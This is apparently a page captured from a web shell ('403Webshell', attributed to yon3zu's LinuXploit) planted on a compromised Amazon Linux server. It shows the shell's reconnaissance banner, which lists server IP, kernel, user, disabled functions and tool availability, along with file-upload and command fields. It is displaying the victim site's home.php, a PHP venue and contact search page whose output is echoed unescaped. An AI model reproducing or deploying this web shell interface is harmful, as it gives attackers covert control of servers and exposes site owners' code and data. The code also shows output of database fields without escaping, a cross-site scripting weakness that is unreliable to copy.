403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/connectionsdev/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/connectionsdev/mod/home.php
<?php
	$result = null;
	$search = '';
	$err_flag = false;
	$sql = "SELECT c.id, c.description FROM categories c WHERE active = 1 ORDER BY c.description";
	$result_cat = $db->query($sql) or die('Database Error!');
	$ar_categories = $result_cat->fetchAll(PDO::FETCH_KEY_PAIR);

	if ($_POST['login_submitted'] == '1') :
		if (empty($_POST['search']) && empty($_POST['category_id'])) :
			$err_login = 'Please enter text to search!';
			$err_flag = true;
		endif;
		if (!$err_flag) :
			$search = $_POST['search'];
			$bind_params[':search'] = $search;
			$sql_category = '';
			if (!empty($_POST['category_id'])) :
				$category_id = $_POST['category_id'];
				$bind_params[':category_id'] = $category_id;
				$sql_category = " AND v.category_id = :category_id ";
			endif;
			$query_expansion = '';
			if (strlen($search) <= 5) :
				$query_expansion = 'WITH QUERY EXPANSION';
			endif;
			$sql = "SELECT DISTINCT
				v.name,
				v.street,
				v.city,
				v.state,
				v.zip,
				v.main_phone,
				v.website,
				v.reservation_link,
				ct.description,
				c.title,
				c.first_name,
				c.last_name,
				c.email,
				c.office_phone,
				c.cell_phone,
				c.other_phone,
				c.preferred_phone,
				c.accepts_texts,
				(
					MATCH(v.name) AGAINST(:search {$query_expansion}) +
					-- MATCH(c.first_name, c.last_name, c.title) AGAINST(:search {$query_expansion}) +
					MATCH(c.first_name, c.last_name) AGAINST(:search {$query_expansion}) +
					MATCH(ct.description) AGAINST(:search {$query_expansion})
				) AS relevance
				FROM venues v
				JOIN contacts c ON (c.venue_id = v.id)
				JOIN categories ct ON (v.category_id = ct.id)
				WHERE
				v.status = 1
				AND c.status = 1
				-- c.contact_type = 'RSRV' AND
				AND ct.active = 1
				{$sql_category}
				AND (
					MATCH(v.name) AGAINST(:search {$query_expansion}) OR
					-- MATCH(c.first_name, c.last_name, c.title) AGAINST(:search {$query_expansion}) OR
					MATCH(c.first_name, c.last_name) AGAINST(:search {$query_expansion}) OR
					MATCH(ct.description) AGAINST(:search {$query_expansion}) OR
					SOUNDEX(v.name) = SOUNDEX(:search) OR
					SOUNDEX(c.first_name) = SOUNDEX(:search) OR
					SOUNDEX(c.last_name) = SOUNDEX(:search) OR
					-- SOUNDEX(c.title) = SOUNDEX(:search) OR
					SOUNDEX(ct.description) = SOUNDEX(:search) OR
					v.name LIKE CONCAT('%', :search, '%') OR
					c.first_name LIKE CONCAT('%', :search, '%') OR
					c.last_name LIKE CONCAT('%', :search, '%') OR
					-- c.title LIKE CONCAT('%', :search, '%') OR
					ct.description LIKE CONCAT('%', :search, '%')
				)
				ORDER BY relevance DESC, v.preferred_contact_id DESC
			";
			$stmt = $db->prepare($sql);
			//error_log($sql);
			$stmt->execute($bind_params);
			$result = $stmt->fetchAll(PDO::FETCH_OBJ);
		endif;
	endif;

?>

<script>
	$(document).ready(function()	
	{
		$('.home_cell_background').mouseover(function() {
				$(this).parent('div').find('.home_cell_text').show();
			});
		$('.home_cell_text').mouseout(function() {
				$(this).hide();
			});
	});
</script>
<h1>Connect directly with places that your guests are looking to go.</h1>
<h2> Enter the name of a restaurant, attraction, museum, etc. in the search field below</h2>
<div class="home_login front_facing">
	<form name="frm_search" id="frm_search" method="post" action="">
		<input name="login_submitted" type="hidden" value="1" />
		<div class="input_column">
			<?php
				form_field(['fname'=>'search', 'ftype'=>'text', 'fsize'=>50, 'flabel'=>'Search Destinations', 'placeholder'=>'Start typing']);
			?>
		</div>
		<div class="input_column">
			<?php
				form_field('category_id', 'select', 50, 0, false, false, false, '', '', '', 'Categories', $ar_categories);
			?>
			<div class="button_block right">
				<input type="submit" value="Search" />
			</div>
		</div>
		<div class="input_field center">
			<?php show_form_error($err_login ?? NULL) ?>
		</div>
	</form>
</div>
<h2>Any suggestions? Let us know what venue(s) you would like added here.</h2>
<h2><a href="venue_submit">Click here</a></h2>
<?php
	if (is_array($result) && sizeof($result) > 0) :
		echo '<div class="search_results_container front_facing">';
		foreach ($result as $row) :
			$send_text_html = '';
			if ($row->accepts_texts) :
				$send_text_html = '&emsp;&emsp;<a href="sms:' . $row->cell_phone . '">Send Text</a>';
			endif;
			echo '<div class="search_result">';
			echo '<h2>' . $row->name . ' - ' . $row->description . '</h2>';
			echo '<h3>' . $row->first_name . ' ' . $row->last_name . '</h3>';
			echo '<h4>' . $row->title . '</h4>';
			if (!empty($row->office_phone)) :
				echo 'Office: <a href="tel:' . $row->office_phone . '">' . $row->office_phone . '</a>' . ($row->preferred_phone === 'office_phone' ? '<b>&emsp; ** Preferred ** </b>' : '') . '<br>';
			endif;
			if (!empty($row->cell_phone)) :
				echo 'Cell: <a href="tel:' . $row->cell_phone . '">' . $row->cell_phone . '</a>' . $send_text_html  . ($row->preferred_phone === 'cell_phone' ? '<b>&emsp; ** Preferred ** </b>' : '') .  '<br>';
			endif;
			if (!empty($row->other_phone)) :
				echo 'Other: <a href="tel:' . $row->other_phone . '">' . $row->other_phone . '</a>'  . ($row->preferred_phone === 'other_phone' ? '<b>&emsp; ** Preferred ** </b>' : '') . '<br>';
			endif;
			echo '<a href="mailto:' . $row->email . '">' . $row->email . '</a><br>';
			echo $row->street . '<br>';
			echo $row->city . ' ' . $row->state . ' ' . $row->zip . '<br>';
			echo '<a href="'. format_http($row->website) .'" target="_blank">' . $row->website . '</a><br>';
			if (!empty($row->reservation_link)) :
				echo 'Reservation Link: <a href="'. format_http($row->reservation_link) .'" target="_blank">' . $row->reservation_link . '</a><br>';
			endif;
			echo '</div>';
		endforeach;
		echo '</div>';
	elseif (is_array($result)) :
		echo '<div class="empty_search">';
		echo 'Your search returned no results.<br>Please try another search term.';
		echo '</div>';
	endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit